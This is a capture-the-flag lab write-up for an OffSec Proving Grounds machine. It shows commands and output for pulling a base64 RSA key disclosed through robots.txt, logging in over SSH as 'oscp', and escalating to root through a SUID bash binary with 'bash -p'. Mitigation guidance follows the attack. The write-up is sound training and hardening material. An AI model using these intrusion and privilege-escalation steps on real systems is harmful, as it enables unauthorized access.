This machine front-loads its most critical finding inside robots.txt — the one file every scanner hits automatically. The disallowed entry points straight to /secret.txt, which contains a base64-encoded RSA private key sitting wide open over HTTP. Decoding it and inspecting the key fingerprint with ssh-keygen -lf reveals the username embedded in the comment field: oscp. That is everything needed for initial access. Once on the box, SUID enumeration surfaces a misconfiguration /usr/bin/bash — the SUID bit has been set on bash itself. One bash -p later and the effective UID is root.

Attack Path: robots.txt → /secret.txt (base64 RSA key) → SSH as oscpSUID /usr/bin/bash → bash -p (euid=0)

Platform: OffSec Proving Grounds Play Machine: InfosecPrep Difficulty: Easy OS: Linux (Ubuntu 20.04) Date: 2026–03–28

Table of Contents

1. Reconnaissance
   1.1  Nmap Port Scan
   1.2  robots.txt — /secret.txt Discovered
2. Initial Access — Base64 RSA Key & SSH
   2.1  Retrieving and Decoding the Key
   2.2  Identifying the Username
   2.3  SSH Login as oscp
3. Privilege Escalation — SUID Bash
4. Proof of Compromise
5. Vulnerability Summary
6. Defense & Mitigation
   6.1  RSA Private Key Exposed Over HTTP
   6.2  Sensitive Path Disclosed via robots.txt
   6.3  SUID Bit Set on /usr/bin/bash

1. Reconnaissance

1.1 Nmap Port Scan

nmap -Pn -A -p- --open <TARGET_IP>

Results:

Port      State  Service  Version
--------  -----  -------  -------------------------------------------
22/tcp    open   SSH      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp    open   HTTP     Apache httpd 2.4.41 (Ubuntu)
33060/tcp open   mysqlx   MySQL X Protocol listener

Three ports. SSH, HTTP, and a MySQL X Protocol listener on 33060. The HTTP server immediately surfaces useful information — the Nmap script output shows WordPress 5.4.2 running, and robots.txt has one disallowed entry: /secret.txt. That single line is the entire initial access path.

The MySQL port on 33060 is worth noting, but turns out to be a dead end. The web server is where the investigation starts and finishes.

1.2 robots.txt — /secret.txt Discovered

robots.txt is designed to tell search engine crawlers which paths not to index. In practice, it functions as a signpost for anything the server operator wanted to keep out of search results — attackers read it first, not last. The disallowed entry here is explicit:

Disallow: /secret.txt
curl http://<TARGET_IP>/secret.txt
None

The response is a wall of base64 text — a long encoded blob that fills the entire terminal. Not a credential, not a flag — the encoding and the size both suggest a private key.

💡 A robots.txt disallow entry is an invitation. Whatever is listed there is worth checking immediately.

2. Initial Access — Base64 RSA Key & SSH

2.1 Retrieving and Decoding the Key

Pipe the file directly through base64 -d and save the result:

curl http://<TARGET_IP>/secret.txt | base64 -d > secret.key
None

The decoded output is 3502 bytes. Set the correct permissions — SSH will reject any key file with permissions more open than 600:

chmod 600 secret.key

2.2 Identifying the Username

With a private key but no username, ssh-keygen -lf reads the key's metadata and prints the fingerprint alongside the comment field — which typically contains the username and hostname from when the key pair was generated:

ssh-keygen -lf secret.key

Output:

3072 SHA256:zNhecDzcwkMBgUp9dNqRfm32dfClo86AdgUHSfAB+kY oscp@oscp (RSA)
None

The comment is oscp@oscp — username oscp, generated on a host also named oscp. The key is 3072-bit RSA; the algorithm and size are sound. None of that matters when the key itself was served over unauthenticated HTTP.

2.3 SSH Login as oscp

ssh -i secret.key oscp@<TARGET_IP>

Output:

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
323 updates can be installed immediately.
194 of these updates are security updates.
*** System restart required ***
-bash-5.0$

Shell as oscp. Ubuntu 20.04 with 194 uninstalled security updates and a pending system restart — this box has not been maintained. That update count is a signal that other misconfigurations are likely present. Standard post-exploitation enumeration comes next.

3. Privilege Escalation — SUID Bash

SUID binaries are among the first things to enumerate after landing a shell. The SUID bit on an executable causes it to run as the file owner — typically root — regardless of who invokes it. Most SUID binaries are expected and harmless; the ones that are not expected are the ones to focus on.

find / -perm -u=s -type f 2>/dev/null

Output (partial):

/snap/core18/1754/usr/bin/passwd
/snap/core18/1754/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/bash
/usr/bin/su
/usr/bin/chsh
...
None

/usr/bin/bash With the SUID bit set is not normal. Bash does not belong on any legitimate SUID list — it has no business running as root by default. Every other binary in this output has a documented reason for its SUID bit. Bash does not.

When bash is invoked with the -p flag, it preserves the effective UID inherited from the SUID bit rather than dropping back to the real user. That is all it takes:

/usr/bin/bash -p
None

Output:

id
uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp)

euid=0(root) — effective root. The real UID remains oscp, but the effective UID governs actual privilege for all system calls. This is a root shell.

4. Proof of Compromise

bash-5.0# id
uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp)

5. Vulnerability Summary

#   Vulnerability                           Severity   Impact
--  --------------------------------------  ---------  -----------------------------------------------
1   RSA private key served over HTTP        Critical   Unauthenticated SSH access as oscp
2   Sensitive path disclosed via robots.txt Medium     Directed attacker directly to the key
3   SUID bit set on /usr/bin/bash           Critical   Local privilege escalation to euid=0 (root)

6. Defense & Mitigation

6.1 RSA Private Key Exposed Over HTTP

Root Cause: An RSA private key was stored in the web root and served over HTTP with no authentication. Anyone who requested /secret.txt received the full key. The base64 encoding provided no protection — it is a transfer encoding, not encryption.

Mitigations:

  • Never store private keys in any web-accessible directory. The web root and all subdirectories beneath it are public by definition. Private keys, credentials, configuration files, and any other sensitive material must never exist at these paths. The correct location for an SSH private key is the user's ~/.ssh/ directory with permissions 600, owned exclusively by that user.
  • Audit the web root for sensitive files. Run periodic checks for private keys, certificates, configuration files, and backup files in any directory Apache or Nginx can serve. A targeted find /var/www -name "*.key" -o -name "*.pem" -o -name "*.txt" is a starting point; automated tools like nikto and gobuster do this more systematically.
  • Remove the file and rotate the key immediately. Any private key exposed on the internet must be treated as fully compromised, no matter how briefly it was accessible. Generate a new key pair, deploy the new public key to all target systems, and revoke the old key from every authorized_keys file it was ever added to.
  • Enforce HTTPS. Serving any content over plain HTTP means it is transmitted in cleartext. The primary issue here was the file's existence in the web root, not its transit — but HTTPS is non-negotiable on any internet-facing server regardless.

6.2 Sensitive Path Disclosed via robots.txt

Root Cause: The Disallow: /secret.txt entry in robots.txt disclosed the existence of the sensitive file to anyone who read it — which includes every scanner, every attacker, and every search engine crawler. The intent was presumably to prevent indexing; the actual effect was to publish a map to the most sensitive file on the server.

Mitigations:

  • Never list sensitive paths in robots.txt. The Disallow directive is a request, not an access control mechanism. It tells crawlers not to index a path; it does not prevent anyone from accessing it. Sensitive files should be protected by authentication or removed from the web root entirely — not obscured by listing them in a publicly readable file.
  • Treat robots.txt as public documentation. Any path appearing in robots.txt will be checked by attackers. If a path is sensitive enough to need a Disallow entry, it is sensitive enough to require real access controls. The two concerns are entirely separate: robots.txt manages crawler behavior, not security.
  • Implement proper access controls for anything that must remain web-accessible. If a file genuinely needs to exist in the web root but should not be public, protect it with HTTP authentication, IP allowlisting, or application-level session requirements. A Disallow entry in robots.txt provides none of these.

6.3 SUID Bit Set on /usr/bin/bash

Root Cause: The SUID bit was set on /usr/bin/bash, causing it to execute with the file owner's privileges (root) rather than those of the invoking user. Bash's -p flag explicitly preserves the elevated effective UID rather than dropping it, making privilege escalation a single command.

Mitigations:

  • Remove the SUID bit from bash immediately. There is no legitimate use case for a SUID bash binary on a production system. This is a critical misconfiguration with no valid justification.
chmod u-s /usr/bin/bash
  • Verify the result:
ls -la /usr/bin/bash# -rwxr-xr-x 1 root root ... /usr/bin/bash
  • Audit all SUID binaries regularly. Maintain a known-good baseline of expected SUID binaries and alert on any deviation. The expected set on a standard Ubuntu 20.04 install is well-documented. Anything outside that list warrants immediate investigation.
find / -perm -u=s -type f 2>/dev/null
  • Cross-reference the output against the package manager: dpkg -S <binary> confirms whether a SUID binary was installed as part of a legitimate package or added manually.
  • Check GTFObins before setting the SUID bit on anything. Bash, Python, Perl, find, vim, and dozens of other common binaries are documented on GTFOBins as SUID escalation vectors. If a binary appears there, the SUID bit must not be set under any circumstances.
  • Apply file integrity monitoring to critical binaries. aide or tripwire watching the permissions on /usr/bin/bash And similar interpreter binaries would catch an unexpected SUID bit immediately. Any permission change on a system binary should generate a high-priority alert.
  • Keep the system patched. The login banner reported 194 uninstalled security updates. A system that lags on patches compounds risk significantly — each unpatched vulnerability becomes a potential escalation vector, adding to whatever misconfigurations already exist. Treat security updates as non-negotiable maintenance, not optional upkeep.
  • Apply the principle of least privilege across the filesystem. The SUID bit should exist only on binaries with a documented, reviewed, operationally required justification. Any SUID entry that cannot be justified should be removed. This review should be part of both initial provisioning and periodic hardening audits.

OffSec PG Play — for educational purposes only.